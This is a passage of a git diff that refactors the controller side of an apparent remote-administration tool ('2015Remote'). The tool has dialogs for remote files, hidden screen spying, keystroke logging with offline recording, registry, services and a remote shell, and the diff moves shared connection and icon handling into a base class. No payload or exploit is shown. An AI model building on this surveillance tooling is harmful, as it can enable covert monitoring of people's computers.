sizeof(DWORD)); memcpy(bPacket + 9, fileRemote.GetBuffer(0), fileRemote.GetLength() + 1); - m_iocpServer->Send(m_pContext, bPacket, nPacketSize); + m_iocpServer->Send(m_ContextObject, bPacket, nPacketSize); LocalFree(bPacket); @@ -1586,7 +1566,7 @@ BOOL CFileManagerDlg::SendDeleteJob() } // 文件偏移,续传时用 memcpy(bPacket + 1, file.GetBuffer(0), nPacketSize - 1); - m_iocpServer->Send(m_pContext, bPacket, nPacketSize); + m_iocpServer->Send(m_ContextObject, bPacket, nPacketSize); LocalFree(bPacket); // 从下载任务列表中删除自己 @@ -1614,14 +1594,14 @@ void CFileManagerDlg::CreateLocalRecvFile() strDestDirectory += m_hCopyDestFolder + "\\"; } - FILESIZE *pFileSize = (FILESIZE *)(m_pContext->m_DeCompressionBuffer.GetBuffer(1)); + FILESIZE *pFileSize = (FILESIZE *)(m_ContextObject->m_DeCompressionBuffer.GetBuffer(1)); DWORD dwSizeHigh = pFileSize->dwSizeHigh; DWORD dwSizeLow = pFileSize->dwSizeLow; m_nOperatingFileLength = (dwSizeHigh * (MAXDWORD+long long(1))) + dwSizeLow; // 当前正操作的文件名 - m_strOperatingFile = m_pContext->m_DeCompressionBuffer.GetBuffer(9); + m_strOperatingFile = m_ContextObject->m_DeCompressionBuffer.GetBuffer(9); m_strReceiveLocalFile = m_strOperatingFile; @@ -1766,7 +1746,7 @@ void CFileManagerDlg::CreateLocalRecvFile() else { // 发送继续传输文件的token,包含文件续传的偏移 - m_iocpServer->Send(m_pContext, bToken, sizeof(bToken)); + m_iocpServer->Send(m_ContextObject, bToken, sizeof(bToken)); } } @@ -1780,16 +1760,16 @@ void CFileManagerDlg::WriteLocalRecvFile() int nHeadLength = 9; // 1 + 4 + 4 数据包头部大小,为固定的9 FILESIZE *pFileSize; // 得到数据的偏移 - pData = m_pContext->m_DeCompressionBuffer.GetBuffer(nHeadLength); + pData = m_ContextObject->m_DeCompressionBuffer.GetBuffer(nHeadLength); - pFileSize = (FILESIZE *)m_pContext->m_DeCompressionBuffer.GetBuffer(1); + pFileSize = (FILESIZE *)m_ContextObject->m_DeCompressionBuffer.GetBuffer(1); // 得到数据在文件中的偏移, 赋值给计数器 m_nCounter = MAKEINT64(pFileSize->dwSizeLow, pFileSize->dwSizeHigh); LONG dwOffsetHigh = pFileSize->dwSizeHigh; LONG dwOffsetLow = pFileSize->dwSizeLow; - dwBytesToWrite = m_pContext->m_DeCompressionBuffer.GetBufferLen() - nHeadLength; + dwBytesToWrite = m_ContextObject->m_DeCompressionBuffer.GetBufferLen() - nHeadLength; HANDLE hFile = CreateFile @@ -1839,7 +1819,7 @@ void CFileManagerDlg::WriteLocalRecvFile() dwOffsetLow += dwBytesWrite; memcpy(bToken + 1, &dwOffsetHigh, sizeof(dwOffsetHigh)); memcpy(bToken + 5, &dwOffsetLow, sizeof(dwOffsetLow)); - m_iocpServer->Send(m_pContext, bToken, sizeof(bToken)); + m_iocpServer->Send(m_ContextObject, bToken, sizeof(bToken)); } } @@ -1913,19 +1893,19 @@ void CFileManagerDlg::EndRemoteDeleteFile() void CFileManagerDlg::SendException() { BYTE bBuff = COMMAND_EXCEPTION; - m_iocpServer->Send(m_pContext, &bBuff, 1); + m_iocpServer->Send(m_ContextObject, &bBuff, 1); } void CFileManagerDlg::SendContinue() { BYTE bBuff = COMMAND_CONTINUE; - m_iocpServer->Send(m_pContext, &bBuff, 1); + m_iocpServer->Send(m_ContextObject, &bBuff, 1); } void CFileManagerDlg::SendStop() { BYTE bBuff = COMMAND_STOP; - m_iocpServer->Send(m_pContext, &bBuff, 1); + m_iocpServer->Send(m_ContextObject, &bBuff, 1); } void CFileManagerDlg::ShowProgress() @@ -2085,12 +2065,12 @@ void CFileManagerDlg::SendTransferMode() BYTE bToken[5]; bToken[0] = COMMAND_SET_TRANSFER_MODE; memcpy(bToken + 1, &m_nTransferMode, sizeof(m_nTransferMode)); - m_iocpServer->Send(m_pContext, (unsigned char *)&bToken, sizeof(bToken)); + m_iocpServer->Send(m_ContextObject, (unsigned char *)&bToken, sizeof(bToken)); } void CFileManagerDlg::SendFileData() { - FILESIZE *pFileSize = (FILESIZE *)(m_pContext->m_DeCompressionBuffer.GetBuffer(1)); + FILESIZE *pFileSize = (FILESIZE *)(m_ContextObject->m_DeCompressionBuffer.GetBuffer(1)); LONG dwOffsetHigh = pFileSize->dwSizeHigh ; LONG dwOffsetLow = pFileSize->dwSizeLow; @@ -2130,7 +2110,7 @@ void CFileManagerDlg::SendFileData() if (nNumberOfBytesRead > 0) { int nPacketSize = nNumberOfBytesRead + nHeadLength; - m_iocpServer->Send(m_pContext, lpBuffer, nPacketSize); + m_iocpServer->Send(m_ContextObject, lpBuffer, nPacketSize); } LocalFree(lpBuffer); } @@ -2209,7 +2189,7 @@ void CFileManagerDlg::OnRemoteNewfolder() LPBYTE lpBuffer = (LPBYTE)LocalAlloc(LPTR, file.GetLength() + 2); lpBuffer[0] = COMMAND_CREATE_FOLDER; memcpy(lpBuffer + 1, file.GetBuffer(0), nPacketSize - 1); - m_iocpServer->Send(m_pContext, lpBuffer, nPacketSize); + m_iocpServer->Send(m_ContextObject, lpBuffer, nPacketSize); LocalFree(lpBuffer); } } @@ -2276,7 +2256,7 @@ void CFileManagerDlg::OnEndlabeleditListRemote(NMHDR* pNMHDR, LRESULT* pResult) memcpy(lpBuffer + 1, strExistingFileName.GetBuffer(0), strExistingFileName.GetLength() + 1); memcpy(lpBuffer + 2 + strExistingFileName.GetLength(), strNewFileName.GetBuffer(0), strNewFileName.GetLength() + 1); - m_iocpServer->Send(m_pContext, lpBuffer, nPacketSize); + m_iocpServer->Send(m_ContextObject, lpBuffer, nPacketSize); LocalFree(lpBuffer); } *pResult = 1; @@ -2345,7 +2325,7 @@ void CFileManagerDlg::OnRemoteOpenShow() LPBYTE lpPacket = (LPBYTE)LocalAlloc(LPTR, nPacketLength); lpPacket[0] = COMMAND_OPEN_FILE_SHOW; memcpy(lpPacket + 1, str.GetBuffer(0), nPacketLength - 1); - m_iocpServer->Send(m_pContext, lpPacket, nPacketLength); + m_iocpServer->Send(m_ContextObject, lpPacket, nPacketLength); LocalFree(lpPacket); } @@ -2359,7 +2339,7 @@ void CFileManagerDlg::OnRemoteOpenHide() LPBYTE lpPacket = (LPBYTE)LocalAlloc(LPTR, nPacketLength); lpPacket[0] = COMMAND_OPEN_FILE_HIDE; memcpy(lpPacket + 1, str.GetBuffer(0), nPacketLength - 1); - m_iocpServer->Send(m_pContext, lpPacket, nPacketLength); + m_iocpServer->Send(m_ContextObject, lpPacket, nPacketLength); LocalFree(lpPacket); } diff --git a/server/2015Remote/FileManagerDlg.h b/server/2015Remote/FileManagerDlg.h index 860cbe1..38b5c4e 100644 --- a/server/2015Remote/FileManagerDlg.h +++ b/server/2015Remote/FileManagerDlg.h @@ -43,7 +43,7 @@ typedef struct // CFileManagerDlg dialog typedef CList strList; -class CFileManagerDlg : public CDialog +class CFileManagerDlg : public DialogBase { protected: // 更新状态栏信息 @@ -94,10 +94,6 @@ public: int m_nNewIconBaseIndex; // 新加的ICON - ClientContext* m_pContext; - CIOCPServer* m_iocpServer; - CString m_IPAddress; - CProgressCtrl* m_ProgressCtrl; HCURSOR m_hCursor; CString m_Local_Path; @@ -108,10 +104,9 @@ public: void GetRemoteFileList(CString directory = ""); void FixedRemoteFileList(BYTE *pbBuffer, DWORD dwBufferLen); - HICON m_hIcon; CStatusBar m_wndStatusBar; CFileManagerDlg(CWnd* pParent = NULL, CIOCPServer* pIOCPServer = NULL, ClientContext *pContext = NULL); // standard constructor - bool m_bIsClosed; + ~CFileManagerDlg() { if(m_ProgressCtrl) delete m_ProgressCtrl; diff --git a/server/2015Remote/HideScreenSpyDlg.cpp b/server/2015Remote/HideScreenSpyDlg.cpp index cd207ce..29fd27d 100644 --- a/server/2015Remote/HideScreenSpyDlg.cpp +++ b/server/2015Remote/HideScreenSpyDlg.cpp @@ -38,15 +38,12 @@ enum { IMPLEMENT_DYNAMIC(CHideScreenSpyDlg, CDialog) CHideScreenSpyDlg::CHideScreenSpyDlg(CWnd* pParent, ISocketBase* pIOCPServer, ClientContext* pContext) - : DialogBase(CHideScreenSpyDlg::IDD, pParent, pIOCPServer, pContext, 0) + : DialogBase(CHideScreenSpyDlg::IDD, pParent, pIOCPServer, pContext, IDI_SCREENSYP) { - m_iocpServer = pIOCPServer; - m_ContextObject = pContext; m_bIsFirst = true; // 濡傛灉鏄涓娆℃墦寮瀵硅瘽妗嗭紝鏄剧ず鎻愮ず绛夊緟淇℃伅 m_BitmapData_Full = NULL; m_lpvRectBits = NULL; - m_hIcon = LoadIcon(AfxGetInstanceHandle(), MAKEINTRESOURCE(IDI_SCREENSYP)); - m_IPAddress = m_ContextObject->GetPeerName().c_str(); + UINT nBISize = m_ContextObject->GetBufferLength() - 1; m_BitmapInfor_Full = (BITMAPINFO*) new BYTE[nBISize]; m_lpbmi_rect = (BITMAPINFO*) new BYTE[nBISize]; @@ -97,7 +94,7 @@ END_MESSAGE_MAP() // CHideScreenSpyDlg message handlers void CHideScreenSpyDlg::OnClose() { - m_ContextObject->CancelIO(); + CancelIO(); CDialogBase::OnClose(); } diff --git a/server/2015Remote/IOCPServer.h b/server/2015Remote/IOCPServer.h index 18c5d63..df3b143 100644 --- a/server/2015Remote/IOCPServer.h +++ b/server/2015Remote/IOCPServer.h @@ -512,15 +512,27 @@ public: m_IPAddress = bResult != INVALID_SOCKET ? inet_ntoa(sockAddr.sin_addr) : ""; m_hIcon = nIcon > 0 ? LoadIcon(AfxGetInstanceHandle(), MAKEINTRESOURCE(nIcon)) : NULL; } + virtual ~CDialogBase(){} public: virtual void OnReceiveComplete(void) = 0; void OnClose() { + m_bIsClosed = TRUE; + if(m_hIcon) DestroyIcon(m_hIcon); + m_hIcon = NULL; CDialog::OnClose(); - m_bIsClosed = true; -#if CLOSE_DELETE_DLG + + if (GetSafeHwnd()) + DestroyWindow(); + } + virtual void PostNcDestroy() override + { delete this; -#endif + } + void CancelIO(){ + m_bIsClosed = TRUE; + + m_ContextObject->CancelIO(); } }; diff --git a/server/2015Remote/KeyBoardDlg.cpp b/server/2015Remote/KeyBoardDlg.cpp index 82e1625..4bce228 100644 --- a/server/2015Remote/KeyBoardDlg.cpp +++ b/server/2015Remote/KeyBoardDlg.cpp @@ -20,22 +20,9 @@ static char THIS_FILE[] = __FILE__; CKeyBoardDlg::CKeyBoardDlg(CWnd* pParent, CIOCPServer* pIOCPServer, ClientContext *pContext) - : CDialog(CKeyBoardDlg::IDD, pParent) + : DialogBase(CKeyBoardDlg::IDD, pParent, pIOCPServer, pContext, IDI_KEYBOARD) { - //{{AFX_DATA_INIT(CKeyBoardDlg) - // NOTE: the ClassWizard will add member initialization here - //}}AFX_DATA_INIT - m_iocpServer = pIOCPServer; - m_pContext = pContext; - m_hIcon = LoadIcon(AfxGetInstanceHandle(), MAKEINTRESOURCE(IDI_KEYBOARD)); - - sockaddr_in sockAddr; - memset(&sockAddr, 0, sizeof(sockAddr)); - int nSockAddrLen = sizeof(sockAddr); - BOOL bResult = getpeername(m_pContext->m_Socket, (SOCKADDR*)&sockAddr, &nSockAddrLen); - m_IPAddress = bResult != INVALID_SOCKET ? inet_ntoa(sockAddr.sin_addr) : ""; - - m_bIsOfflineRecord = (BYTE)m_pContext->m_DeCompressionBuffer.GetBuffer(0)[1]; + m_bIsOfflineRecord = (BYTE)m_ContextObject->m_DeCompressionBuffer.GetBuffer(0)[1]; } @@ -91,7 +78,7 @@ BOOL CKeyBoardDlg::OnInitDialog() // 通知远程控制端对话框已经打开 BYTE bToken = COMMAND_NEXT; - m_iocpServer->Send(m_pContext, &bToken, sizeof(BYTE)); + m_iocpServer->Send(m_ContextObject, &bToken, sizeof(BYTE)); return TRUE; // return TRUE unless you set the focus to a control // EXCEPTION: OCX Property Pages should return FALSE @@ -111,7 +98,7 @@ void CKeyBoardDlg::UpdateTitle() void CKeyBoardDlg::OnReceiveComplete() { - switch (m_pContext->m_DeCompressionBuffer.GetBuffer(0)[0]) { + switch (m_ContextObject->m_DeCompressionBuffer.GetBuffer(0)[0]) { case TOKEN_KEYBOARD_DATA: AddKeyBoardData(); break; @@ -123,10 +110,10 @@ void CKeyBoardDlg::OnReceiveComplete() void CKeyBoardDlg::AddKeyBoardData() { // 最后填上0 - m_pContext->m_DeCompressionBuffer.Write((LPBYTE)"", 1); + m_ContextObject->m_DeCompressionBuffer.Write((LPBYTE)"", 1); int len = m_edit.GetWindowTextLength(); m_edit.SetSel(len, len); - m_edit.ReplaceSel((TCHAR *)m_pContext->m_DeCompressionBuffer.GetBuffer(1)); + m_edit.ReplaceSel((TCHAR *)m_ContextObject->m_DeCompressionBuffer.GetBuffer(1)); } bool CKeyBoardDlg::SaveRecord() @@ -157,7 +144,7 @@ void CKeyBoardDlg::OnSysCommand(UINT nID, LPARAM lParam) if (pSysMenu != NULL) { m_bIsOfflineRecord = !m_bIsOfflineRecord; BYTE bToken[] = { COMMAND_KEYBOARD_OFFLINE, m_bIsOfflineRecord }; - m_iocpServer->Send(m_pContext, bToken, sizeof(bToken)); + m_iocpServer->Send(m_ContextObject, bToken, sizeof(bToken)); if (m_bIsOfflineRecord) pSysMenu->CheckMenuItem(IDM_ENABLE_OFFLINE, MF_CHECKED); else @@ -167,7 +154,7 @@ void CKeyBoardDlg::OnSysCommand(UINT nID, LPARAM lParam) } else if (nID == IDM_CLEAR_RECORD) { BYTE bToken = COMMAND_KEYBOARD_CLEAR; - m_iocpServer->Send(m_pContext, &bToken, 1); + m_iocpServer->Send(m_ContextObject, &bToken, 1); m_edit.SetWindowText(""); } else if (nID == IDM_SAVE_RECORD) { SaveRecord(); @@ -208,8 +195,7 @@ BOOL CKeyBoardDlg::PreTranslateMessage(MSG* pMsg) void CKeyBoardDlg::OnClose() { - // TODO: Add your message handler code here and/or call default - closesocket(m_pContext->m_Socket); + CancelIO(); - CDialog::OnClose(); + DialogBase::OnClose(); } diff --git a/server/2015Remote/KeyBoardDlg.h b/server/2015Remote/KeyBoardDlg.h index 292468f..2058a26 100644 --- a/server/2015Remote/KeyBoardDlg.h +++ b/server/2015Remote/KeyBoardDlg.h @@ -13,7 +13,7 @@ ///////////////////////////////////////////////////////////////////////////// // CKeyBoardDlg dialog -class CKeyBoardDlg : public CDialog +class CKeyBoardDlg : public DialogBase { // Construction public: @@ -38,12 +38,8 @@ protected: // Implementation protected: - ClientContext* m_pContext; - CIOCPServer* m_iocpServer; - HICON m_hIcon; bool m_bIsOfflineRecord; - CString m_IPAddress; void AddKeyBoardData(); void UpdateTitle(); void ResizeEdit(); diff --git a/server/2015Remote/RegisterDlg.cpp b/server/2015Remote/RegisterDlg.cpp index 4dd3af6..0882ad5 100644 --- a/server/2015Remote/RegisterDlg.cpp +++ b/server/2015Remote/RegisterDlg.cpp @@ -27,12 +27,10 @@ IMPLEMENT_DYNAMIC(CRegisterDlg, CDialog) CRegisterDlg::CRegisterDlg(CWnd* pParent,IOCPServer* IOCPServer, CONTEXT_OBJECT* ContextObject) - : CDialog(CRegisterDlg::IDD, pParent) + : DialogBase(CRegisterDlg::IDD, pParent, IOCPServer, ContextObject, IDI_ICON_STRING) { m_bIsClosed = FALSE; m_bIsWorking = FALSE; - m_iocpServer = IOCPServer; - m_ContextObject = ContextObject; } CRegisterDlg::~CRegisterDlg() @@ -60,23 +58,20 @@ END_MESSAGE_MAP() BOOL CRegisterDlg::OnInitDialog() { CDialog::OnInitDialog(); + SetIcon(m_hIcon, TRUE); + SetIcon(m_hIcon, FALSE); // TODO: 在此添加额外的初始化 CString str; - sockaddr_in ClientAddr; - memset(&ClientAddr, 0, sizeof(ClientAddr)); - int ClientAddrLen = sizeof(ClientAddr); - BOOL bResult = getpeername(m_ContextObject->sClientSocket, (SOCKADDR*)&ClientAddr, &ClientAddrLen); - - str.Format("%s - 注册表管理", bResult != INVALID_SOCKET ? inet_ntoa(ClientAddr.sin_addr) : ""); + str.Format("%s - 注册表管理", m_IPAddress); SetWindowText(str); m_ImageListTree.Create(18, 18, ILC_COLOR16,10, 0); //制作 树控件上的图标 - m_hIcon = (HICON)::LoadImage(::AfxGetInstanceHandle(),MAKEINTRESOURCE(IDI_ICON_FATHER), IMAGE_ICON, 18, 18, 0); - m_ImageListTree.Add(m_hIcon); - m_hIcon = (HICON)::LoadImage(::AfxGetInstanceHandle(),MAKEINTRESOURCE(IDI_ICON_DIR), IMAGE_ICON, 18, 18, 0); - m_ImageListTree.Add(m_hIcon); + auto hIcon = (HICON)::LoadImage(::AfxGetInstanceHandle(),MAKEINTRESOURCE(IDI_ICON_FATHER), IMAGE_ICON, 18, 18, 0); + m_ImageListTree.Add(hIcon); + hIcon = (HICON)::LoadImage(::AfxGetInstanceHandle(),MAKEINTRESOURCE(IDI_ICON_DIR), IMAGE_ICON, 18, 18, 0); + m_ImageListTree.Add(hIcon); m_Tree.SetImageList(&m_ImageListTree,TVSIL_NORMAL); @@ -107,16 +102,9 @@ BOOL CRegisterDlg::OnInitDialog() void CRegisterDlg::OnClose() { -#if CLOSE_DELETE_DLG - m_ContextObject->v1 = 0; -#endif - CancelIo((HANDLE)m_ContextObject->sClientSocket); - closesocket(m_ContextObject->sClientSocket); - CDialog::OnClose(); - m_bIsClosed = TRUE; -#if CLOSE_DELETE_DLG - //delete this;//此处同文件管理对话框处理 -#endif + CancelIO(); + + DialogBase::OnClose(); } diff --git a/server/2015Remote/RegisterDlg.h b/server/2015Remote/RegisterDlg.h index e2439d2..351414e 100644 --- a/server/2015Remote/RegisterDlg.h +++ b/server/2015Remote/RegisterDlg.h @@ -5,15 +5,14 @@ // CRegisterDlg 对话框 -class CRegisterDlg : public CDialog +class CRegisterDlg : public DialogBase { DECLARE_DYNAMIC(CRegisterDlg) public: CRegisterDlg(CWnd* Parent, IOCPServer* IOCPServer=NULL, CONTEXT_OBJECT *ContextObject=NULL); // 标准构造函数 virtual ~CRegisterDlg(); - CONTEXT_OBJECT* m_ContextObject; - IOCPServer* m_iocpServer; + // 对话框数据 enum { IDD = IDD_DIALOG_REGISTER }; @@ -22,13 +21,12 @@ protected: DECLARE_MESSAGE_MAP() public: - BOOL m_bIsClosed; // 即将关闭 + BOOL m_bIsWorking;// 正在处理注册表 CTreeCtrl m_Tree; CImageList m_ImageListTree; //树控件上的图标 CListCtrl m_ControlList; CImageList m_ImageListControlList; //ControlList上的图标 - HICON m_hIcon; virtual BOOL OnInitDialog(); afx_msg void OnClose(); HTREEITEM m_hRoot; diff --git a/server/2015Remote/ScreenSpyDlg.cpp b/server/2015Remote/ScreenSpyDlg.cpp index 820a6e6..259567f 100644 --- a/server/2015Remote/ScreenSpyDlg.cpp +++ b/server/2015Remote/ScreenSpyDlg.cpp @@ -32,7 +32,7 @@ extern "C" void* x265_api_get_192() { return nullptr; } extern "C" char* __imp_strtok(char* str, const char* delim) { return strtok(str, delim); } CScreenSpyDlg::CScreenSpyDlg(CWnd* Parent, IOCPServer* IOCPServer, CONTEXT_OBJECT* ContextObject) - : CDialog(CScreenSpyDlg::IDD, Parent) + : DialogBase(CScreenSpyDlg::IDD, Parent, IOCPServer, ContextObject, 0) { m_pCodec = nullptr; m_pCodecContext = nullptr; @@ -52,22 +52,12 @@ CScreenSpyDlg::CScreenSpyDlg(CWnd* Parent, IOCPServer* IOCPServer, CONTEXT_OBJEC ImmDisableIME(0);// 绂佺敤杈撳叆娉 m_bFullScreen = FALSE; - m_iocpServer = IOCPServer; - m_ContextObject = ContextObject; - CHAR szFullPath[MAX_PATH]; GetSystemDirectory(szFullPath, MAX_PATH); lstrcat(szFullPath, "\\shell32.dll"); //鍥炬爣 m_hIcon = ExtractIcon(THIS_APP->m_hInstance, szFullPath, 17); m_hCursor = LoadCursor(THIS_APP->m_hInstance, MAKEINTRESOURCE(IDC_ARROWS)); - sockaddr_in ClientAddr; - memset(&ClientAddr, 0, sizeof(ClientAddr)); - int ulClientAddrLen = sizeof(sockaddr_in); - BOOL bOk = getpeername(m_ContextObject->sClientSocket,(SOCKADDR*)&ClientAddr, &ulClientAddrLen); - - m_strClientIP = bOk != INVALID_SOCKET ? inet_ntoa(ClientAddr.sin_addr) : ""; - m_bIsFirst = TRUE; m_ulHScrollPos = 0; m_ulVScrollPos = 0; @@ -145,7 +135,7 @@ BOOL CScreenSpyDlg::OnInitDialog() SetIcon(m_hIcon,FALSE); CString strString; - strString.Format("%s - 杩滅▼妗岄潰鎺у埗 %d脳%d", m_strClientIP, + strString.Format("%s - 杩滅▼妗岄潰鎺у埗 %d脳%d", m_IPAddress, m_BitmapInfor_Full->bmiHeader.biWidth, m_BitmapInfor_Full->bmiHeader.biHeight); SetWindowText(strString); @@ -188,16 +178,9 @@ BOOL CScreenSpyDlg::OnInitDialog() VOID CScreenSpyDlg::OnClose() { -#if CLOSE_DELETE_DLG - m_ContextObject->v1 = 0; -#endif - CancelIo((HANDLE)m_ContextObject->sClientSocket); - closesocket(m_ContextObject->sClientSocket); + CancelIO(); - CDialog::OnClose(); -#if CLOSE_DELETE_DLG - delete this; -#endif + DialogBase::OnClose(); } @@ -578,7 +561,7 @@ VOID CScreenSpyDlg::SendCommand(const MSG64* Msg) BOOL CScreenSpyDlg::SaveSnapshot(void) { - CString strFileName = m_strClientIP + CTime::GetCurrentTime().Format("_%Y-%m-%d_%H-%M-%S.bmp"); + CString strFileName = m_IPAddress + CTime::GetCurrentTime().Format("_%Y-%m-%d_%H-%M-%S.bmp"); CFileDialog Dlg(FALSE, "bmp", strFileName, OFN_OVERWRITEPROMPT, "浣嶅浘鏂囦欢(*.bmp)|*.bmp|", this); if(Dlg.DoModal () != IDOK) return FALSE; diff --git a/server/2015Remote/ScreenSpyDlg.h b/server/2015Remote/ScreenSpyDlg.h index cac0508..732ba98 100644 --- a/server/2015Remote/ScreenSpyDlg.h +++ b/server/2015Remote/ScreenSpyDlg.h @@ -38,7 +38,7 @@ extern "C" // CScreenSpyDlg 对话框 -class CScreenSpyDlg : public CDialog +class CScreenSpyDlg : public DialogBase { DECLARE_DYNAMIC(CScreenSpyDlg) @@ -46,9 +46,6 @@ public: CScreenSpyDlg(CWnd* Parent, IOCPServer* IOCPServer=NULL, CONTEXT_OBJECT *ContextObject=NULL); virtual ~CScreenSpyDlg(); - CONTEXT_OBJECT* m_ContextObject; - IOCPServer* m_iocpServer; - VOID SendNext(void); VOID OnReceiveComplete(); HDC m_hFullDC; @@ -63,11 +60,9 @@ public: ULONG m_ulVScrollPos; VOID DrawTipString(CString strString); - HICON m_hIcon; HICON m_hCursor; POINT m_ClientCursorPos; BYTE m_bCursorIndex; - CString m_strClientIP; BOOL m_bIsTraceCursor; CCursorInfo m_CursorInfo; //自定义的一个系统的光标类 VOID SendCommand(const MSG64* Msg); diff --git a/server/2015Remote/ServicesDlg.cpp b/server/2015Remote/ServicesDlg.cpp index a4b18b5..d079449 100644 --- a/server/2015Remote/ServicesDlg.cpp +++ b/server/2015Remote/ServicesDlg.cpp @@ -21,10 +21,8 @@ typedef struct ItemData1 } ItemData1; CServicesDlg::CServicesDlg(CWnd* pParent, IOCPServer* IOCPServer, CONTEXT_OBJECT *ContextObject) - : CDialog(CServicesDlg::IDD, pParent) + : DialogBase(CServicesDlg::IDD, pParent, IOCPServer, ContextObject, IDI_SERVICE) { - m_ContextObject = ContextObject; - m_iocpServer = IOCPServer; } CServicesDlg::~CServicesDlg() @@ -41,6 +39,7 @@ void CServicesDlg::DoDataExchange(CDataExchange* pDX) BEGIN_MESSAGE_MAP(CServicesDlg, CDialog) ON_WM_CLOSE() + ON_WM_SIZE() ON_COMMAND(ID_SERVICES_AUTO, &CServicesDlg::OnServicesAuto) ON_COMMAND(ID_SERVICES_MANUAL, &CServicesDlg::OnServicesManual) ON_COMMAND(ID_SERVICES_STOP, &CServicesDlg::OnServicesStop) @@ -58,12 +57,10 @@ BOOL CServicesDlg::OnInitDialog() { CDialog::OnInitDialog(); + SetIcon(m_hIcon, TRUE); + SetIcon(m_hIcon, FALSE); CString strString; - sockaddr_in ClientAddress; - memset(&ClientAddress, 0, sizeof(ClientAddress)); - int iClientAddressLength = sizeof(ClientAddress); - BOOL bResult = getpeername(m_ContextObject->sClientSocket, (SOCKADDR*)&ClientAddress, &iClientAddressLength); - strString.Format("%s - 服务管理", bResult != INVALID_SOCKET ? inet_ntoa(ClientAddress.sin_addr) : ""); + strString.Format("%s - 服务管理",m_IPAddress); SetWindowText(strString); m_ControlList.SetExtendedStyle( LVS_EX_FULLROWSELECT); @@ -120,17 +117,10 @@ int CServicesDlg::ShowServicesList(void) void CServicesDlg::OnClose() { - // TODO: 在此添加消息处理程序代码和/或调用默认值 -#if CLOSE_DELETE_DLG - m_ContextObject->v1 = 0; -#endif + CancelIO(); DeleteAllItems(); - CancelIo((HANDLE)m_ContextObject->sClientSocket); - closesocket(m_ContextObject->sClientSocket); - CDialog::OnClose(); -#if CLOSE_DELETE_DLG - delete this; -#endif + + DialogBase::OnClose(); } @@ -261,3 +251,18 @@ void CServicesDlg::ServicesConfig(BYTE bCmd) m_iocpServer->OnClientPreSending(m_ContextObject, szBuffer, LocalSize(szBuffer)); LocalFree(szBuffer); } + +void CServicesDlg::OnSize(UINT nType, int cx, int cy) +{ + CDialog::OnSize(nType, cx, cy); + + if (!m_ControlList.GetSafeHwnd()) return; // 确保控件已创建 + + // 计算新位置和大小 + CRect rc; + m_ControlList.GetWindowRect(&rc); + ScreenToClient(&rc); + + // 重新设置控件大小 + m_ControlList.MoveWindow(0, 0, cx, cy, TRUE); +} diff --git a/server/2015Remote/ServicesDlg.h b/server/2015Remote/ServicesDlg.h index 80e1cb0..81cb577 100644 --- a/server/2015Remote/ServicesDlg.h +++ b/server/2015Remote/ServicesDlg.h @@ -5,15 +5,14 @@ // CServicesDlg 对话框 -class CServicesDlg : public CDialog +class CServicesDlg : public DialogBase { DECLARE_DYNAMIC(CServicesDlg) public: CServicesDlg(CWnd* pParent = NULL, IOCPServer* IOCPServer = NULL, CONTEXT_OBJECT *ContextObject = NULL); // 标准构造函数 virtual ~CServicesDlg(); - CONTEXT_OBJECT* m_ContextObject; - IOCPServer* m_iocpServer; + int ShowServicesList(void); void OnReceiveComplete(void); void ServicesConfig(BYTE bCmd); @@ -41,4 +40,5 @@ public: afx_msg void OnServicesStart(); afx_msg void OnServicesReflash(); afx_msg void OnNMRClickList(NMHDR *pNMHDR, LRESULT *pResult); + afx_msg void OnSize(UINT nType, int cx, int cy); }; diff --git a/server/2015Remote/ShellDlg.cpp b/server/2015Remote/ShellDlg.cpp index 0ae0caa..427b2cc 100644 --- a/server/2015Remote/ShellDlg.cpp +++ b/server/2015Remote/ShellDlg.cpp @@ -26,12 +26,8 @@ void CAutoEndEdit::OnChar(UINT nChar, UINT nRepCnt, UINT nFlags) { IMPLEMENT_DYNAMIC(CShellDlg, CDialog) CShellDlg::CShellDlg(CWnd* pParent, IOCPServer* IOCPServer, CONTEXT_OBJECT *ContextObject) - : CDialog(CShellDlg::IDD, pParent) + : DialogBase(CShellDlg::IDD, pParent, IOCPServer, ContextObject, IDI_ICON_SHELL) { - m_iocpServer = IOCPServer; - m_ContextObject = ContextObject; - - m_hIcon = LoadIcon(AfxGetInstanceHandle(), MAKEINTRESOURCE(IDI_ICON_SHELL)); } CShellDlg::~CShellDlg() @@ -60,15 +56,11 @@ BOOL CShellDlg::OnInitDialog() CDialog::OnInitDialog(); m_nCurSel = 0; m_nReceiveLength = 0; + SetIcon(m_hIcon, TRUE); SetIcon(m_hIcon,FALSE); CString str; - sockaddr_in ClientAddr; - memset(&ClientAddr, 0, sizeof(ClientAddr)); - int ClientAddrLen = sizeof(ClientAddr); - BOOL bResult = getpeername(m_ContextObject->sClientSocket, (SOCKADDR*)&ClientAddr, &ClientAddrLen); - - str.Format("%s - 远程终端", bResult != INVALID_SOCKET ? inet_ntoa(ClientAddr.sin_addr) : ""); + str.Format("%s - 远程终端", m_IPAddress); SetWindowText(str); BYTE bToken = COMMAND_NEXT; @@ -150,16 +142,9 @@ VOID CShellDlg::AddKeyBoardData(void) void CShellDlg::OnClose() { -#if CLOSE_DELETE_DLG - m_ContextObject->v1 = 0; -#endif - CancelIo((HANDLE)m_ContextObject->sClientSocket); - closesocket(m_ContextObject->sClientSocket); + CancelIO(); - CDialog::OnClose(); -#if CLOSE_DELETE_DLG - delete this; -#endif + DialogBase::OnClose(); } diff --git a/server/2015Remote/ShellDlg.h b/server/2015Remote/ShellDlg.h index 2198b7e..66ca16e 100644 --- a/server/2015Remote/ShellDlg.h +++ b/server/2015Remote/ShellDlg.h @@ -12,17 +12,16 @@ public: // CShellDlg 对话框 -class CShellDlg : public CDialog +class CShellDlg : public DialogBase { DECLARE_DYNAMIC(CShellDlg) public: CShellDlg(CWnd* pParent = NULL, IOCPServer* IOCPServer = NULL, CONTEXT_OBJECT *ContextObject = NULL); virtual ~CShellDlg(); - CONTEXT_OBJECT* m_ContextObject; - IOCPServer* m_iocpServer; + VOID OnReceiveComplete(); - HICON m_hIcon; + UINT m_nReceiveLength; VOID AddKeyBoardData(void); int m_nCurSel; //获得当前数据所在位置; diff --git a/server/2015Remote/SystemDlg.cpp b/server/2015Remote/SystemDlg.cpp index 841edc3..debf5af 100644 --- a/server/2015Remote/SystemDlg.cpp +++ b/server/2015Remote/SystemDlg.cpp @@ -21,11 +21,8 @@ typedef struct ItemData IMPLEMENT_DYNAMIC(CSystemDlg, CDialog) CSystemDlg::CSystemDlg(CWnd* pParent, IOCPServer* IOCPServer, CONTEXT_OBJECT *ContextObject) - : CDialog(CSystemDlg::IDD, pParent) + : DialogBase(CSystemDlg::IDD, pParent, IOCPServer, ContextObject, 